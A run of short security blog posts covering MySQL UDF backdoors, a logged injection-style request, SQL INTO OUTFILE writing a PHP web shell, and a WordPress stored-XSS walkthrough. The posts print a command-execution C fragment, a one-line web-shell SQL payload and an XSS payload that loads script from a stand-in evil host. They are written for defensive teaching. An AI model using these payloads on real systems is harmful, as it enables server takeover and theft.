MySQL Backdoors in UDFs

Thought this blog by securusglobal about MySQL Backdoor with udf was interesting. In Short, a UDF is a user-defined-function in MySQL. In general you can use it to manipulate column values for example in a select statement without having to put the dirty non-Mysql logic (such as C/C++) inside the actual select statement. Example: select udf_tocelsius(temps.fahrenheit) from temps

But instead of doing some nice like a formula or calculation, as a bad guy you could perhaps do something like

char *cmd;
FILE *fp;
strcat(cmd, args->args[i]);
fp = popen(cmd, "r");


Which is C code that essentially runs systems commands (similar to the system() function) against the operating system, so you could pass in commands that download your malware, execute it, etc.

Please note this is not a vulnerability, this is more of just an example of a backdoor persistence method. Of course a lot of things have to be setup correctly for this to even work, so for example if the attacker didn't have appropriate access or permissions were locked down tight, this might never even work. But interesting though none-the-less.

More about neonprimetime

• neonprimetime pastebin
• neonprimetime virustotal
• @neonprimetime twitter
• neonprimetime reddit

Top Blogs of all-time

1. pagerank botnet sql injection walk-thru
2. DOM XSS 101 Walk-Through
3. An Invoice email and a Hot mess of Java

Top Github Contributions

1. Qualys Scantronitor 2.0

Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Kazehakase SQL Injection example

This looks like SQL injection attempt of some sort on mysql, saw it this weekend.

GET /index.php/module/aciton/param1/$%7B@print_r(md5(1123123))%7D HTTP/1.1
Host: mysite.com
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Fedora/1.9.0.8-1.fc10 Kazehakase/0.5.6
Connection: keep-alive


The Kazehakase/0.5.6 user-agent stuck out to me as unique.

More about neonprimetime

• neonprimetime pastebin
• neonprimetime virustotal
• @neonprimetime twitter
• neonprimetime reddit

Top Blogs of all-time

1. pagerank botnet sql injection walk-thru
2. DOM XSS 101 Walk-Through
3. An Invoice email and a Hot mess of Java

Top Github Contributions

1. Qualys Scantronitor 2.0

Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Separate Servers for your Website and DB?

Let's say you have a website and a database. Should you have 1 server or 2. Does it matter? Here's just 1 example of why it matters. Let's pretend your website has a single SQL Injection vulnerability on it. When that attacker injects a SQL statement, it will execute against your database. Did you realize there are SQL commands that can interact with the server's filesystem? As an example

SELECT * from orders INTO OUTFILE '/tmp/orders.txt';

The above statement could be used to dump the output of a select query of all orders into a text file. Hey, as a DBA or developer that might be useful. But guess what, as an attacker, that is useful too! First I'll give a simple example.

SELECT '<? echo 'hello world' ?>' INTO OUTFILE '/var/www/helloworld.php';

Now the above statement seems a bit strange at first, but essentially I'm dumping PHP code for a hello world program into a php file. So now I could navigate to hxxp://mysite.com/helloworld.php and there would be a file that says 'hello world'. Interesting right? Maybe not harmful yet, but it has potential. Now try something a bit more evil.

SELECT '<? system($_GET[\'p\']); ?>' INTO OUTFILE '/var/www/backdoor.php';

The above statement may be daunting at first, but all it's doing is writing php code that executing At the server's command line what is passed via parameter 'p' . Why is that bad? Well, the attacker could now visit your site again perhaps with this url hxxp://mysite.com/backdoor.php?p=ls and guess what, the page would execute the 'ls' command and list out all files in the web root directory. Now you could get way more creative than that and create a file or run an command that perhaps uploads a web shell, malware, or something more persistent to the server and control is on a more permanent basis.

Now back to the original topic at hand. In a scenario like above, what is one thing that would've made this type of attack a bit harder? One answer would be if the Web Server and Database server were on separate servers. Why would that make it harder for the attacker? Well, they likely can no longer run a single SQL injection command that dumps a php file and creates a backdoor. Instead the SQL command they run will be on a SQL server that doesn't necessarily have access to the web server or web root folders on the web server. Thus the attacker is going to have a lot more work to do, such as establishing persistence on the SQL server, then finding a way to either communicate outbound from the sql server back to the attackers device (likely harder if it's an internal machine with additional security hardening), or finding a way to pivot to and attack the web server to take control of it. Either way it's definitely a more daunting task than simply being handed a nice little server with the web and database mashed together. Consider that the next time you architect your solution. Tiered environments have many security benefits.

More about neonprimetime

• neonprimetime pastebin
• neonprimetime virustotal
• @neonprimetime twitter
• neonprimetime reddit

Top Blogs of all-time

1. pagerank botnet sql injection walk-thru
2. DOM XSS 101 Walk-Through
3. php injection ali.txt walk-thru

Top Github Contributions

1. Qualys Scantronitor 2.0

Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.

WordPress XSS 0day Walkthru

I thought the Wordpress XSS vulnerability was an interesting one. I thought I'd attempt to walk through how I understand it to work.

On the comments section of any WordPress blog, a visitor can add a comment to the blog. Wordpress is actually correctly validating the input and sanitizing for XSS (Cross-Site Scripting) vulnerabilities. So what's the issue?

It's more of a quirk in the combination of how the MySql database was setup and how browsers handle malformed html.

1.) First if the comment being entered is too long, the MySql database field holding the comment cannot fit the entire comment and ends up truncating it, and actually chopping off the closing </a> tag

2.) Second, because that </a> tag was now truncated, when an Administrator views the comment for moderation (to approve or reject it) the browser will now attempt to display malformed HTML (an opening <a> tag without a closing one). Now most modern browsers don't reject malformed HTML, instead they try to automatically fix it for you. How Nice!

So if you enter your malicious comment and hit submit
<a title='xxx onmouseover=eval(unescape(/var a=document.createElement('script');a.setAttribute('src','https://myevilsite.com/thiscodegetsrunbyadmin.js');document.head.appendChild(a)/.source)) style=position;absolute;left:0;top:0;width:5000px;height:5000px AAAAAA...(tons of A's up to 65k bytes)....AAAAA' href="http://www.google.com">my link to google</a>

WordPress correctly validates that it's an ok a tag ... it's a super ugly title, but titles don't matter and can't be executed, so in the end this is just a valid link to google.com. But then WordPress saves this comment to their MySql database.

If you were to look in the WordPress database it would look something like this (it adds a paragraph tag around the text you entered too)....

<P><a title='xxx onmouseover=eval(unescape(/var a=document.createElement('script');a.setAttribute('src','https://myevilsite.com/thiscodegetsrunbyadmin.js');document.head.appendChild(a)/.source)) style=position;absolute;left:0;top:0;width:5000px;height:5000px AAAAAAAAAAAAAAAAaa</P>

Notice that a bunch of the A's as well as the closing portion of the </a> tag are now missing because of the MySQL truncation issue.

So when the Administrator goes to view this comment for moderation, the browser actually tries to fix the broken code with something like below.

<a title='xxx' onmouseover='eval(unescape(/var a=document.createElement('script');a.setAttribute('src','https://myevilsite.com/thiscodegetsrunbyadmin.js');document.head.appendChild(a)/.source)) style=position;absolute;left:0;top:0;width:5000px;height:5000px' p='AAAAAAAAAAAAAAAAA'></a>

Notice that it so nicely decided to split my harmless title out where it found whitespace and turn it into an onmouseover event.

What could actually be done with this? Well if the Administrator is doing his moderation of the blog from a browser on the Production Web Server, then that file (https://myevilsite.com/thiscodegetsrunbyadmin.js) gets executed by the Administrator under his Administrator account directory on the Production Server. So I could put Javascript code in there for example that writes a malicious file to the Production Web Server's hard drive in one of the folders that is publically accessible. I could make sure that malicious file is one of the many Web Server backdoors so that the attacker can now browse to this file which is hosted on your Wordpress blog, and do crazy things on that page like Add/Remove/Download files, Add/Remove user accounts, etc. I own that Web Server and that Administrator account.

It's important to point out here XSS is a 2-way street. You cannot simply validate the user input as it's coming in and getting saved. You also need to validate/sanitize user input after it's pulled from a data source and before it's displayed on the screen. I've blogged about this input validation topic before, as it's very similar to the concept of importing data in from another system or 3rd party source and then displaying it on your website. Don't trust it.

Oh my, XSS is really bad no matter what shape or form it comes in! Take it seriously!

Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.